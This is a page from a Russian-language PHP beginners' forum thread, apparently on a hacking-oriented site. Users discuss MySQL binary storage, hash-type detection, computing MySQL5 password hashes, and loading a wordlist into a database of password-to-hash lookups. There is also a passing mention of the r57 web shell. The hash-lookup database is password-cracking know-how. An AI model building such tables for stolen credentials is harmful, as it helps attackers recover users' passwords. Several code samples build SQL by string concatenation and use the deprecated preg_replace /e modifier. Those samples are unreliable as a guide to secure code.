PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

-=lebed=-
18.12.2007, 18:34
chr(int) и возвращает символ соответствующий десятичному значению числа

Кароче аргументом может быть только десятичное целое?

И так я нечего не увижу?

$a='0x32';
echo chr($a);

Как быть тогда?

VampiRUS
18.12.2007, 18:38
вот выдрал функцию перевода хекс в акси
function hex2asc($str) {
$str = str_replace(" ", "", $str);
for ($n=0; $n<strlen($str); $n+=2) {
$newstring .= pack("C", hexdec(substr($str, $n, 2)));
}
return $newstring;
}


чтоб от кавычек избавится делай hexdec()

Macro
18.12.2007, 18:39
Кароче аргументом может быть только десятичное целое?

И так я нечего не увижу?

$a='0x32';
echo chr($a);

Как быть тогда?
Не надо добавлять 0x к числу и все будет Ok

VampiRUS
18.12.2007, 18:44
итого

<?php
$n=0;
$hash_code="";
$hash="30313233343536373839404142434445";
do
{
$code='0x'.$hash[$n].$hash[$n+1];
$hash_code.=chr(hexdec($code));
echo $n."<br>";
echo $code."<br>";
echo chr(hexdec($code))."<br>";
echo $hash_code."<br>";
$n++;
}
while ($n++<31)
?>

Macro
18.12.2007, 18:48
НЕТ, так.


<?php
$n=0;
$hash_code="";
$hash="30313233343536373839404142434445";
do
{
$code=$hash[$n].$hash[$n+1];
$hash_code.=chr($code);
//echo $n."<br>";
//echo $code."<br>";
echo chr($code)."<br>";
//echo $hash_code."<br>";
$n++;
}
while ($n++<31)
?>

Macro
18.12.2007, 18:53
ИЛИ, еще лучше, так.

<?php
$n=0;
$hash_code="";
$hash="30313233343536373839404142434445";
for($n=0;$n<strlen($hash);$n+=2)
{
$code=substr($hash,$n,2);
$hash_code.=chr($code);
//echo $n."<br>";
//echo $code."<br>";
echo chr($code)."<br>";
//echo $hash_code."<br>";

}

?>

VampiRUS
18.12.2007, 18:55
не Macro, как я понял нужно было как раз из хекса в аски

-=lebed=-
18.12.2007, 18:55
теперь мд5 хэши в таблице мускула займут не 32 байта на поле, а всего 16 (что в два раза меньше), кроме того поиск будет осуществляться быстрее...

-=lebed=-
18.12.2007, 18:57
не Macro, как я понял нужно было как раз из хекса в аски
Ога, именно так...

Macro
18.12.2007, 19:04
Я все проверил, мой код прелестно работает. А функция chr возвращает ascii код hex значения ;)

Вот ловите


<?
function hex2string($hex)
{
$decoded='';
for($i=0;$i<strlen($hex);$i+=2)
{
$decoded.=chr(substr($hex,$i,2));
}
return $decoded;}
echo(hex2string('3332353637383940'));
?>

astrologer
18.12.2007, 19:38
Если в базе только проверенные данные:
echo preg_replace('/(\d{2})/e', 'chr(\1)', '3332353637383940');

Macro
18.12.2007, 19:43
Если в базе только проверенные данные:
echo preg_replace('/(\d{2})/e', 'chr(\1)', '3332353637383940');
Ты не прав ибо HEX подразумевает цифры и буквы от a до f

Однако, мысль отличная.

<?
$str='3334353637383940';
echo(preg_replace('/([\da-f]{2})/ie', 'chr(\1);',$str));
?>



ЗЫ что-то я сегодня плохо соображаю

astrologer
18.12.2007, 19:49
Ты не прав ибо HEX подразумевает цифры и буквы от a до f
И, потом, будет лишь выводиться "chr(33)", например, а нам нужен результат функции chr().
функция chr принимает только целые числа

-=lebed=-
18.12.2007, 21:13
я так понял, функция chr принимает только целые ДЕСЯТИЧНЫЕ значения в качестве аргумента, с целыми в хексе она не работает, так что код Macro выводит не тот результат, что требуется. Так как входная строка (точнее пары символов) - она предполагается в хексе (это хэш вообще-то с набором символов 0-9a-f), а не коды символов в десятичном виде.

т.е 30313233343536373839404142434445 ->  !"#$%&'()*+,-
а вообще-то надо:
30313233343536373839404142434445 -> 0123456789@ABCDE

так как 0x30 это 0, 0x31 - 1 и т.д. так что VampiRUS прав, надо преобразовывать в десятичный вид аргумент, прежде чем скормить chr его.
ЗЫ Вопрос решён принципе, но может есть ещё более изящное и оптимальное решение? ;)

-=lebed=-
18.12.2007, 21:42
Ну и теперь два вопроса:
1. Реально ли в мускуле хранить такие строки (в том числе и с непечатаемыми служебными символами с кодами 0-255) ?
2. С обратным преобразованием не будет проблем?

astrologer
18.12.2007, 21:43
ЗЫ Вопрос решён принципе, но может есть ещё более изящное и оптимальное решение? ;)
моё не подойдёт? (Под редакцией Macro, конечно)
Надо только "0x" дописать было:

<?php
echo preg_replace('/([A-F\d]{2})/ie', 'chr(0x\1)', '30313233343536373839404142434445');
?>
Выдает требуемое:0123456789@ABCDE

-=lebed=-
18.12.2007, 21:59
моё не подойдёт? (Под редакцией Macro, конечно)
Надо только "0x" дописать было:

<?php
echo preg_replace('/([A-F\d]{2})/ie', 'chr(0x\1)', '30313233343536373839404142434445');
?>
Выдает требуемое:0123456789@ABCDE
Первоначальные данные всё же только цифровые или нет?

Входные данные это любой мд5 хэш (32 символа 0-9a-z), т.е 32 байта в ASCII представлении, задача: его закодировать в 16 байт, в heх, так как md5-хэш на самом деле это ничто иное как HEX-число в 16 байт.

Dimi4
18.12.2007, 22:11
Ну пиши, в чём проблема? Тема называется "php Новичкам: задаем вопросы" а не "php Халявщикам: пишем переводчики" ;)

Мой те совет юзай promt.ru или другой веб переводчик, посылай туда свой запрос, результат выводи на сайте (работа с сокетами), нарушение авторских прав и т.д. но это токо совет, решать тебе :)

Я наверное не совсем так выразился.Мне не нужен именно переводчик. Мне нужно ятоб например юзер вводить в форме: r57а ему в ответ - Шелл.Последнея версия...Сайт. Думаю понял.
Я хотел сделать файл типа base.php

<?
$slova = array(
'r57'=>'Шелл.Последняя версия'
'qwe'=>'qwe'
);
?>

Мне нужна функция, котороя б брала слова из етого файла и "переводила их"

scrat
18.12.2007, 22:31
Я наверное не совсем так выразился.Мне не нужен именно переводчик. Мне нужно ятоб например юзер вводить в форме: r57а ему в ответ - Шелл.Последнея версия...Сайт. Думаю понял.
Я хотел сделать файл типа base.php

<?
$slova = array(
'r57'=>'Шелл.Последняя версия'
'qwe'=>'qwe'
);
?>

Мне нужна функция, котороя б брала слова из етого файла и "переводила их"
создаёшь таблицу в бд и всё.стукай в аську(на авике) помогу

-=lebed=-
18.12.2007, 22:55
Теперь нужна функция обратного преобразования этой:

function code_hash($hash)
{
include('conf.php');
$n=0;
$hash_code="";
do
{
$code='0x'.$hash[$n].$hash[$n+1];
$hash_code.=chr(hexdec($code));
$n++;
}
while ($n++<31);
return $hash_code;
}



function decode_hash($string)
{
$n=0;
$decode_hash="";
do
{
$code=ord($string[$n]);
$decode_hash.=dechex($code);
}
while ($n++<15);
return $decode_hash;
}

Ded MustD!e
18.12.2007, 23:17
Нужно написать скрипт, который будет рисовать график функции y=a*x^2+b*x+c, значения a,b,c задаются с клавиатуры. Сетку я сделал, обычную параболу вывести могу, но не понимаю как задать нужную функцию и коэффициенты вручную.

Как работает: http://mytesterphp.h18.ru/graph.php

Код:

<?php
include ("src/jpgraph.php");
include ("src/jpgraph_line.php");
include ("src/jpgraph_utils.inc.php");

$f = new FuncGenerator('$x*$x');
list($x1data,$y1data) = $f->E(-5,5);

$graph = new Graph(550,450,"auto");
$graph->SetScale("linlin");
$graph->SetShadow();
$graph->img->SetMargin(50,50,60,40);
$graph->SetBox(true,'darkgreen',2);
$graph->SetMarginColor('white');
$graph->SetColor('lightyellow');
$graph->title->Set('ax^2+bx+c=0');
$graph->title->SetFont(FF_FONT1,FS_BOLD);
$graph->xgrid->Show();
$graph->yaxis->SetPos(0);
$graph->yaxis->SetWeight(2);
$graph->yaxis->HideZeroLabel();
$graph->yaxis->SetFont(FF_FONT1,FS_BOLD);
$graph->yaxis->SetColor('darkgreen','darkblue');
$graph->yaxis->HideTicks(true,false);
$graph->yaxis->HideFirstLastLabel();
$graph->xaxis->SetWeight(2);
$graph->xaxis->HideZeroLabel();
$graph->xaxis->HideFirstLastLabel();
$graph->xaxis->SetFont(FF_FONT1,FS_BOLD);
$graph->xaxis->SetColor('darkgreen','darkblue');

$lp2 = new LinePlot($y1data,$x1data);
list($xm,$ym)=$lp2->Max();
$lp2->SetColor('orange');
$lp2->SetWeight(2);
$graph->Add($lp2);
$graph->Stroke();

?>

MisteriX
18.12.2007, 23:43
Вот, немного нетуда запостил... Вот вопрос: http://forum.antichat.ru/showthread.php?p=532773

-=lebed=-
19.12.2007, 02:18
Вот сделал функцию для распознавания типа хэша (пока только 4, точнее 3, так как хэши MySQL5 и SHA-1 неотличимы).

function type_hash($string)
{
if (ereg('^([a-fA-F0-9]{16})$', $string)) return 1; // MySQL
if (ereg('^([a-fA-F0-9]{32})$', $string)) return 2; // MD5
if (ereg('^([a-fA-F0-9]{40})$', $string)) return 3; // MySQL5 или SHA-1
return 0; // неизвестен
}


1.Как сделать тоже самое, используя функцию preg_match?

2. Помогите с регулярками для определения типов хэшей:
DES (пример:HlXOX8MN5z4X6),
MD5 (Unix) $1$$uqbusDeGY2YWqg.T2S1100
MD5(APR) $apr1$$kRqAZHnuzcwDL84Mm7oc1.
MD5(Base64) Gh3JHJBzJcaScd3wyUS8cg==
SHA-1 (Base64) NU4eI71bcnBGqeO0t9tXvY1u5oQ=

presidentua
19.12.2007, 02:59
Вот сделал функцию для распознавания типа хэша (пока только 4, точнее 3, так как хэши MySQL5 и SHA-1 неотличимы).

function type_hash($string)
{
if (ereg('^([a-fA-F0-9]{16})$', $string)) return 1; // MySQL
if (ereg('^([a-fA-F0-9]{32})$', $string)) return 2; // MD5
if (ereg('^([a-fA-F0-9]{40})$', $string)) return 3; // MySQL или SHA-1
return 0; // неизвестен
}


1.Как сделать тоже самое, используя функцию preg_match?

2. Помогите с регулярками для определения типов хэшей:
DES (пример:HlXOX8MN5z4X6),
MD5 (Unix) $1$$uqbusDeGY2YWqg.T2S1100
MD5(APR) $apr1$$kRqAZHnuzcwDL84Mm7oc1.
MD5(Base64) Gh3JHJBzJcaScd3wyUS8cg==
SHA-1 (Base64) NU4eI71bcnBGqeO0t9tXvY1u5oQ=

1.
if (preg_match("/^([a-fA-F0-9]{16})$/",$string)) echo 'MySQL ';
if (preg_match("/^([a-fA-F0-9]{32})$/",$string)) echo 'MD5 ';
if (preg_match("/^([a-fA-F0-9]{40})$/",$string)) echo 'MySQL или SHA-1';

2.
также как ты и делал, только те символы что не изменяются просто вводишь (только перед доларом надо постави "\" )
итак пример для
MD5(APR) $apr1$$kRqAZHnuzcwDL84Mm7oc1.
/^\$arp1\$\$[a-zA-Z0-9]{21}$/

ПС:для написания и отладки регулярных выражений можно использовать специальные прожки, например, VisualREGEXP и The Regex Coach

-=lebed=-
19.12.2007, 12:37
Вот способ как запросить из мускула MySQL хэш:

$query = "SELECT PASSWORD('".$pass."')";
$r = mysql_query($query);
$rq = mysql_fetch_array($r);
$hash = $rq[0]; //МуSQL хэш


Я так понял, что если Мускул <5 это будет хэш (0-9a-z {8})
а если MySQL5 то хэш будет (0-9a-z {40})

Теперь вопрос: Как независимо от версии Мускула получать хэши MySQL и MySQL5 от какого либо значения? Т.е. может есть готовые функции хэширования на PHP, независящие от мускула и не обращающеся к нему?

Ну типа как в встроенных функциях PHP md5(), sha1()

ЗЫ Чё? так никто и не знает как в Мускуле <5 вычислить хэш Mysql5 ?

Видел где-то что sha1(sha1(password)) это и есть MySQL(password) это так ? Щас проверю сам... неправда

presidentua
19.12.2007, 18:04
Я наверное не совсем так выразился.Мне не нужен именно переводчик. Мне нужно ятоб например юзер вводить в форме: r57а ему в ответ - Шелл.Последнея версия...Сайт. Думаю понял.
Я хотел сделать файл типа base.php

<?
$slova = array(
'r57'=>'Шелл.Последняя версия'
'qwe'=>'qwe'
);
?>

Мне нужна функция, котороя б брала слова из етого файла и "переводила их"

Это ты же создаешь именной масив. для того чтобы взять значение из него пиши: echo $slova['r57'];

Helios
19.12.2007, 19:02
Вот способ как запросить из мускула MySQL хэш:

$query = "SELECT PASSWORD('".$pass."')";
$r = mysql_query($query);
$rq = mysql_fetch_array($r);
$hash = $rq[0]; //МуSQL хэш


Я так понял, что если Мускул <5 это будет хэш (0-9a-z {8})
а если MySQL5 то хэш будет (0-9a-z {40})

Теперь вопрос: Как независимо от версии Мускула получать хэши MySQL и MySQL5 от какого либо значения? Т.е. может есть готовые функции хэширования на PHP, независящие от мускула и не обращающеся к нему?

Ну типа как в встроенных функциях PHP md5(), sha1()

ЗЫ Чё? так никто и не знает как в Мускуле <5 вычислить хэш Mysql5 ?

Видел где-то что sha1(sha1(password)) это и есть MySQL(password) это так ? Щас проверю сам... неправда
Вместо PASSWORD двойной SHA1 использовался только в одном буилде мускула, а именно MySLQ 5.0.27

Red_Red1
19.12.2007, 19:56
2 -=lebed=-

<?
echo sha1(sha1('mypass',1));
?>

Про это узнал вот тут http://www.wasm.ru/forum/viewtopic.php?pid=203131#p203131

Обрати внимание на слова
Второй раз нужно хешировать _бинарные_ данные.
Проверил на ПассвордПро
sha1('mypass') = e727d1464ae12436e899a726da5b2f11d8381b26
MySQL5('mypass') = 6c8989366eaf75bb670ad8ea7a7fc1176a95cef4
echo sha1(sha1('mypass',1)); >>> 6c8989366eaf75bb670ad8ea7a7fc1176a95cef4
Весь прикол в НЕОБЯЗАТЕЛЬНОМ параметре sha1. Нашел тут http://delaysayt.ru/sha1-vozvraschaet-sha1-hesh-stroki.html
Думаю это то что тебе нужно :)

-=lebed=-
19.12.2007, 21:48
проверил, пашет! хэши скрипт от mypass выдаёт правильные.
Хэш MySQL:6f8c114b58f2ce9e
Хэш MD5:a029d0df84eb5549c641e04a9ef389e5
Хэш SHA1:e727d1464ae12436e899a726da5b2f11d8381b26
Хэш MySQL5:6c8989366eaf75bb670ad8ea7a7fc1176a95cef4

Но вот трабла при занесении в таблицу после преобразования этих хэшей, запрос вида:

INSERT INTO passwd_hash (`passwd`,`code1`,`code2`,`code3`,`code4`) VALUES ('mypass','oЊKXтОћ',' )РЯ„лUIЖAаJћу‰е','з'СFJб$6и™§&Ъ[/Ш8&','l‰‰6nЇu»g ШкzБj•Оф')
Выдаёт ошибку синтаксиса, так как после кодирования хэшей всплыли спецсимволы.
Какой тип данных поставить для полей, чтоб можно было хранить строку из любых символов (0-ff)

Напомню, мне нужно хранить (записывать) хэши в таблице(у) не в ASCII представлении, а в виде последовательности любых байтов, т.е в hex чтоб размер поля был в два раза меньше, т.е 8, 16, 20 байт для каждого типа хэша соответствено.
Использовал типы данных binary(8), binary(16), binary(20), binary(20) - непрокатывает запрос!
Тип bigint - 8 байт, подойдёт только для хранения хэша MySQL, а что делать с остальными (делить на столбцы не хотелось бы).
ЗЫ Даже тут видно, что запрос испортила всплывшая одинарная ковычка, в коде одного из хэшей. ;)

Helios
19.12.2007, 21:59
varchar(8), varchar(16), varchar(20)
и прогоняй значения перед вставкой через mysql_escape_string(), она заэкранирует все спецсимволы, но мускул поймет все правильно

ЗЫ еще как вариант BLOB, но так как поле динамическое возникнут траблы с быстродействием

-=lebed=-
19.12.2007, 22:11
varchar(8), varchar(16), varchar(20)
и прогоняй значения перед вставкой через mysql_escape_string(), она заэкранирует все спецсимволы, но мускул поймет все правильно

ЗЫ еще как вариант BLOB, но так как поле динамическое возникнут траблы с быстродействием

BLOB не пойдёт, но ведь и тип varchar имеет динамический размер?! мне надо чтоб хэш занимал в таблице ровно столько байт, сколько на него реально нужно...

Up: вопрос решён, символы экранирования не записываются в столбцы таблицы, размер остаётся верный, исп. тип Binary.

Helios
19.12.2007, 22:18
varchar имеет фиксированный размер (не зря он в скобках указан=)).
Днамические поля - это TEXT, BLOB и производные

-=lebed=-
19.12.2007, 23:08
Типы данных CHAR и VARCHAR очень схожи между собой, но различаются по способам их хранения и извлечения.

В столбце типа CHAR длина поля постоянна и задается при создании таблицы. Эта длина может принимать любое значение между 1 и 255 (что же касается версии MySQL 3.23, то в ней длина столбца CHAR может быть от 0 до 255). Величины типа CHAR при хранении дополняются справа пробелами до заданной длины. Эти концевые пробелы удаляются при извлечении хранимых величин.

Величины в столбцах VARCHAR представляют собой строки переменной длины. Так же как и для столбцов CHAR, можно задать столбец VARCHAR любой длины между 1 и 255. Однако, в противоположность CHAR, при хранении величин типа VARCHAR используется только то количество символов, которое необходимо, плюс один байт для записи длины. Хранимые величины пробелами не дополняются, наоборот, концевые пробелы при хранении удаляются (описанный процесс удаления пробелов отличается от предусмотренного спецификацией ANSI SQL).

http://www.phpclub.ru/mysql/doc/char.html - врут?

Helios
19.12.2007, 23:24
Ну мы немного не о том говорили.

В чем разница между статическими типами и динамическими и откуда тормоза?

При построении таблицы выборки MySQL должен узнать размеры памяти, которую необходимо выделить под определенный столбец.

При использовании статических типов эта величина заранее известна из описания структуры и каждый раз не перепроверяется.

При мспользовании динамических полей заранее неизвестна длина самого большого поля в строке, поэтому мусткулу приходится "пробежаться" по всем значениям, дабы узнать максимальную длину и выделить соответсятвующий объем памяти для каждой ячейки в столбце.

Вот это время и есть критично.

Разница между char и varchar:
При построении таблицы выборки для char(N) и для varchar(N) выделяется равный размер памяти, который берется из описания структуры таблицы.
Разница этих типов в представлении данных таблицы на диске: varchar займет меньше места на диске, т.к. используется только то количество символов, которое необходимо, плюс один байт для записи длины.

Но если у тебя в базе длины всех значений в столбце одинаковы, то разницы между char и varchar ты никакой не увидишь.

-=lebed=-
20.12.2007, 01:08
Ну мы немного не о том говорили.

В чем разница между статическими типами и динамическими и откуда тормоза?

При построении таблицы выборки MySQL должен узнать размеры памяти, которую необходимо выделить под определенный столбец.

При использовании статических типов эта величина заранее известна из описания структуры и каждый раз не перепроверяется.

При мспользовании динамических полей заранее неизвестна длина самого большого поля в строке, поэтому мусткулу приходится "пробежаться" по всем значениям, дабы узнать максимальную длину и выделить соответсятвующий объем памяти для каждой ячейки в столбце.

Вот это время и есть критично.

Разница между char и varchar:
При построении таблицы выборки для char(N) и для varchar(N) выделяется равный размер памяти, который берется из описания структуры таблицы.
Разница этих типов в представлении данных таблицы на диске: varchar займет меньше места на диске, т.к.

Но если у тебя в базе длины всех значений в столбце одинаковы, то разницы между char и varchar ты никакой не увидишь.

Всё, разобрался! поставил тип varbinary(32) на поле пароль (так phpMyadmin отображает). Тормозов быть не должно...

Scipio
20.12.2007, 01:47
Вот сделал функцию для распознавания типа хэша (пока только 4, точнее 3, так как хэши MySQL5 и SHA-1 неотличимы).

function type_hash($string)
{
if (ereg('^([a-fA-F0-9]{16})$', $string)) return 1; // MySQL
if (ereg('^([a-fA-F0-9]{32})$', $string)) return 2; // MD5
if (ereg('^([a-fA-F0-9]{40})$', $string)) return 3; // MySQL5 или SHA-1
return 0; // неизвестен
}


1.Как сделать тоже самое, используя функцию preg_match?

2. Помогите с регулярками для определения типов хэшей:
DES (пример:HlXOX8MN5z4X6),
MD5 (Unix) $1$$uqbusDeGY2YWqg.T2S1100
MD5(APR) $apr1$$kRqAZHnuzcwDL84Mm7oc1.
MD5(Base64) Gh3JHJBzJcaScd3wyUS8cg==
SHA-1 (Base64) NU4eI71bcnBGqeO0t9tXvY1u5oQ=


для MD5(Base64) и SHA-1 (Base64) даже придумывать ничего не надо поидее:


function type_hash($string)
{
if (ereg('^([a-fA-F0-9]{16})$', $string)) return 1; // MySQL
if (ereg('^([a-fA-F0-9]{32})$', $string)) return 2; // MD5
if (ereg('^([a-fA-F0-9]{40})$', $string)) return 3; // MySQL5 или SHA-1
if (ereg('^([a-fA-F0-9]{32})$', base64_decode($string))) return 4;// MD5(Base64)
if (ereg('^([a-fA-F0-9]{40})$', base64_decode($string))) return 5; //SHA-1 (Base64)
return 0; // неизвестен
}

Theraphy
20.12.2007, 08:38
Здравствуйте,
можете подсказать решение данного вопроса,мне интересно такое как:

1) Скрипт вычисления айпи

2) Скрипт вычисления айпи+город,тоесть в одной игре в инфе у каждого человека АВТОМАТИЧЕСКИ пишется его город по его айпи и т.д,например

Реальное местонахождение: Russian Federation (Yuzhno-Sakhalinsk

scrat
20.12.2007, 09:05
Здравствуйте,
можете подсказать решение данного вопроса,мне интересно такое как:

1) Скрипт вычисления айпи

2) Скрипт вычисления айпи+город,тоесть в одной игре в инфе у каждого человека АВТОМАТИЧЕСКИ пишется его город по его айпи и т.д,например

Реальное местонахождение: Russian Federation (Yuzhno-Sakhalinsk
ну вот скрипт вычесления:
<?php
echo $_SERVER['REMOTE_ADDR'];
?>
а с городом даже не знаю как сделать...можно обращаться к камоу-нить cmyip...

XopoIII
20.12.2007, 09:18
Здравствуйте,
можете подсказать решение данного вопроса,мне интересно такое как:

2) Скрипт вычисления айпи+город,тоесть в одной игре в инфе у каждого человека АВТОМАТИЧЕСКИ пишется его город по его айпи и т.д,например

Реальное местонахождение: Russian Federation (Yuzhno-Sakhalinsk

это вычисляется через GeoIP я выкладывал ссылки для установки, вот еще раз.

http://www.maxmind.com/download/geoip/database/LiteCity.dat.gz - это сама база(городов)

http://www.maxmind.com/app/installation?city=1 - это как устанавливать

http://www.maxmind.com/app/city#api - вот тут ихнее API чтобы работать с базой

http://www.maxmind.com/download/geoip/api/php/ - тут руководство и скрипты для работы с базой на ПХП

orcismylife
20.12.2007, 20:39
Можно ли при отсылке множества форм автоматически заполнять этот раздел?


<form name=abc action="" method="post" enctype="multipart/form-data" name="upload">
Файл:
<input type="file" />
<input type="submit" name="Submit" value="Загрузить файл" />
</form>


Вроде на value='.$file.', ни подобные вещи не помогают...

Как автоматически вставлять значение в это поле?

Dimi4
20.12.2007, 20:51
<input type=hidden name="abc" value="bla-bla">

orcismylife
20.12.2007, 20:57
<input type=hidden name="abc" value="bla-bla">

Нет, с value почему-то не работает, я же написал. Пробовал и с type=text, и с другими тайпами, не помогает. Попробуйте сначала у себя на локалхосте оттестить, а потом пишите ;)

bul.666
20.12.2007, 21:00
ты хочешь, чтобы несколько файло сразуже зааплодить?

orcismylife
20.12.2007, 21:03
"ты хочешь, чтобы несколько файло сразуже зааплодить?"

так точно

bul.666
20.12.2007, 21:05
Помойму надо несколько инпутов только разные имена...

orcismylife
20.12.2007, 21:07
"Помойму надо несколько инпутов только разные имена..."

Да хоть что. Главное - заполнить значением поле загрузки файла. А заполнять автоматически я его не могу :/

bul.666
20.12.2007, 21:12
Да хоть что. Главное - заполнить значением поле загрузки файла. А заполнять автоматически я его не могу :/
Так и не понял тебя... То ты хочешь сразу несколько файлов, то "заполнить значением поле загрузки файла"... =\ Когда нажимаешь "обзор" он же сам заполняет поле Oo

astrologer
20.12.2007, 21:16
Главное - заполнить значением поле загрузки файла.
Этого сделать нельзя. И не нужно.

orcismylife
20.12.2007, 21:20
Так и не понял тебя... То ты хочешь сразу несколько файлов, то "заполнить значением поле загрузки файла"... =\ Когда нажимаешь "обзор" он же сам заполняет поле Oo

Я отправляю несколько форм сразу. Для того, чтобы отправить файл, мне нужно АВТОМАТИЧЕСКИ заполнить эту форму (а не нажатием на кнопку обзор). Как это сделать, я и спрашиваю.

bul.666
20.12.2007, 21:22
Никак

-=lebed=-
21.12.2007, 12:17
Как в MySQL5+PHP получить хэш в старом виде, т.е. простой MySQL ?
ЗЫ в MSQL <5 функция PASSWORD() вычисляет 64 битный хэш MySQL
В MySQL5 уже 160 битный... обратная совместимость должна ведь быть? Может параметр какой у функции Password() появился?

groundhog
21.12.2007, 12:20
OLD_PASSWORD(...)?

З.Ы. http://ftp2.uk.vim.org/sites/ftp.mysql.com/doc/refman/5.1/en/encryption-functions.html
З.Ы.Ы. http://ftp2.uk.vim.org/sites/ftp.mysql.com/doc/refman/5.1/en/password-hashing.html

Demetra
21.12.2007, 17:34
функция gethostbyname показывает ип не у всех сайтов,так и должно быть?

.:EnoT:.
21.12.2007, 17:43
функция gethostbyname показывает ип не у всех сайтов,так и должно быть?
должен показывать
<?php
$name = "www.site.ru";
$ip = gethostbyname($name);
echo"$ip";
?>

groundhog
21.12.2007, 17:49
...функция gethostbyname показывает ип не у всех сайтов,так и должно быть?
Demetra, некторых сайтов нету в кеше твоего DNS-сервера, вернее, не твоего, а через который резолвит функция. То есть тут системно-администраторская проблема, а не кодерская...

Demetra
21.12.2007, 17:55
а как исправить?или это от меня независит?

Demetra
21.12.2007, 17:56
то же самое и с gethostbyaddr?

Macro
21.12.2007, 18:23
то же самое и с gethostbyaddr?
Ну да. А исправить можно пользуясь внешними утилитами

Demetra
21.12.2007, 20:00
а что можна применить чтоб при непривильном вводе(намерена) юзера отослать нафиг.конвентирую ип в адрес спецальна ввожу буквы высвечивает ошибку и показывает все папки мои

Theraphy
22.12.2007, 02:52
для scrat и XopoIII

спасибо за помощь,я вам балы поднял)но оно почему то не поднялось((( если что нетак ссори=)

Macro
22.12.2007, 12:17
а что можна применить чтоб при непривильном вводе(намерена) юзера отослать нафиг.конвентирую ип в адрес спецальна ввожу буквы высвечивает ошибку и показывает все папки мои

if(!preg_match('/^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3})$/',$ip)){die('Удачной дороги нафиг!');}

groundhog
22.12.2007, 13:16
Demetra, а кто показывает папки? Твой скрипт? Покажи исходник - разберёмся...

Alekzzzander
22.12.2007, 20:15
народ, кто может, выложите пожалуйста ихсрдники нормальных и корректно работающих чатов

xRySt
23.12.2007, 00:50
Здравствуйте! В данный момент времени я страдаю одной проблемой и думаю, что именно здесь мне помогут)))

Имеется форма, в которую из базы подгружаются данные для редактирования!

В таком виде форма работала, но я так же добавил ссылки на всплывающие pop-up, в которых происходит дополнительное редактирование!

Рассмотрим на примере создания записей:

Предположим в общей форме мы имеем ряд уже созданных записей, а так же поля для создания новой записи!

Если мы кликнем на одной из записей, то в открывшемся окне мы можем отредактировать данные по данной записи.

После нажатия кнопки "сохранить" данные в базе обновятся, так же обновиться страница с общей формой и мы увидим изменённую запись.

Но!!!!!!!!!!!!! Если мы сначала создадим запись, а потом приступим к редактированию, то возникают проблемы!

Помимо редактирования существующей записи - создаются новые записи, подобные ранее созданной записи!

Если выйти из формы и войти снова, то редактирование записей снова происходит без проблем!

Ponchik
23.12.2007, 03:54
xRySt, Ты исходники пле покажи!

.:EnoT:.
23.12.2007, 06:41
народ, кто может, выложите пожалуйста ихсрдники нормальных и корректно работающих чатов
Эх, а в гугл залезть не судьба....
Вот пару ссылок. Чатов там выбирай не хочу:

http://forum.ru-board.com/topic.cgi?forum=24&topic=1060
http://www.internet-technologies.ru/scripts/category_30.html
http://scripts.protoplex.ru/scripts_group/40.html

XopoIII
23.12.2007, 08:16
2 xRySt, покажи код.

Demetra
25.12.2007, 00:19
Macro,большое спосибо,то что надо было,почти работает

Macro
25.12.2007, 00:25
Macro,большое спосибо,то что надо было,почти работает
:eek: Не понял, что значит почти?

-=lebed=-
25.12.2007, 13:01
Вот написал скрипт читает строки слов из файла словаря и заностит в таблицу:

<?
include('conf.php');
include('checkpass.php');
include('function.php');
ignore_user_abort(1);
set_time_limit(0);

$fd = fopen("./dict.txt", "r");
$unical = 0;
$nonunical = 0;
if(!$fd)
{
return "Fill 'dictionary_file' field!";
}
else
{
while(!feof($fd))
{
$pass = str_replace("\r\n","", fgets($fd));
if (add_pass_noncheck($pass)) $unical++;
else $nonunical++;
}
echo "добавлено уникальных: ".$unical." паролей <br>";
echo "не уникальных: ".$nonunical." паролей <br>";
}
fclose($fd);
?>

Почему-то скрипт не обрабатывает файл до конца, т.е в файле 50 тыс. строк, а скрипт заносит в таблицу например 12 тыс. и прекращает работу. В чём трабл? Есть глобальные переменные ограничивающие время работы скрипта или дело в колличестве запросов к Мускулу в един. времени (в add_pass_noncheck($pass) там запросы к MySQL)?

ЗЫ На Локалхосте всё пашет без проблем, на серваке нет...

Вот нашёл ответ:

set_time_limit() не действует, если PHP запущен в режиме safe mode. Нет иного выхода, кроме отключения safe mode или изменения лимита времени в файле конфигурации.


А как решить другим путём? Разбить на несколько скриптов и разбить файл словарей на неск. частей?

И почему тогда этот скрипт:

<?php
include('conf.php');
include('checkpass.php');
include('function.php');
$dl=true;


if (isset($_POST['ta']))
{
$tmp=$_POST['ta'];
$r = explode("\r\n", $tmp);
$add=0;
$nadd=0;
foreach ($r as $pass)
{
$query = "SELECT `passwd` from ".$db_table." WHERE `passwd`='".$pass."'";
$r=mysql_query($query);
if (!debugS($dl))
{
if(!mysql_num_rows($r) and check($pass))
{
$k=add_pass($pass);
debugS($dl);
$add++;
}
else $nadd++;
}
}
echo "уникальных паролей добавлено в базу: <b>".$add."</b>\r\n неуникальных паролей: <b>".$nadd."</b>\r\n спасибо.<br>";
}

?>
читающий пассы из Post-массива работает нормально без ограничений по времени?

Scipio
25.12.2007, 14:45
попробуй в папке со скриптом создать .htaccess и в нем пропиши:
php_max_execution_time = 0

хотя не уверен что так получится

Macro
25.12.2007, 14:48
2lebed
Есть подозрение, что у тебя при каждом добавлении в базу идет подключение и отключение после. Я прав?

-=lebed=-
25.12.2007, 15:25
2lebed
Есть подозрение, что у тебя при каждом добавлении в базу идет подключение и отключение после. Я прав?
Инклудится conf.php, а там:

<?php
$db_host = 'localhost';
$db_name = 'database';
$db_table ='passwd_hash';
$db_login ='root';
$db_pass = '';

$link = mysql_connect($db_host, $db_login, $db_pass) or die("Could not connect");
mysql_select_db($db_name) or die("Could not select database");
?>
это из-за этого ? в вызываемой функции add_pass($pass) есть инклуд conf.php - это точно из-за него!
Тогда отдельно инкулудить переменные и подключение к базе ?

Macro
25.12.2007, 15:41
глобализуй в функции переменные, не зачем снова инклудить conf.php

-=lebed=-
25.12.2007, 15:55
глобализуй в функции переменные, не зачем снова инклудить conf.php
прописал:

global $db_table;
больше другие переменные в функции не используются...

ЗЫ щас затестю...

Не помогло!

Micr0b
25.12.2007, 16:03
Здрасти помогите пожалуста с кодом.
Дело в том что нужно додать новий товар в конкретную категорию.
Я хочу зделать так чтоб категорію можно было выбрать из списка SELECT.
Вот код:

